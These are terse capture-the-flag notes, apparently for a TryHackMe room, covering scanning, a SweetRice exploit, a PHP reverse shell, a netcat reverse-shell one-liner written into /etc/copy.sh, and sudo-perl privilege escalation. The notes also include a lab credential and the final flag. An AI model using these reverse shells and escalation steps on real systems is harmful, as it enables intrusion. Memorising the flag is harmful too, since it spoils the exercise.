sudo nmap -sS -A -T5 10.10.192.97 –Pn

gobuster dir -u http://10.10.225.165 -w /usr/share/wordlists/dirb/common.txt

searchsploit SweetRice

gobuster dir -u http://10.10.225.165/content -w /usr/share/wordlists/dirb/common.txt

https://crackstation.net/

manager pass Password123

https://github.com/pentestmonkey/php-reverse-shell

10.10.209.108/content/inc/

افتح ترمنال جديد

nc -nvlp 1234

cd /home

cd itguy

cat user.txt

cat /etc/copy.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.192.97 5554 >/tmp/f" > /etc/copy.sh افتح فى text

افتح ترمنال جديد

nc -nvlp 5554

sudo /usr/bin/perl /home/itguy/backup.pl

whoami

cat root.txt

THM{63e5bce9271952aad1113b6f1ac28a07}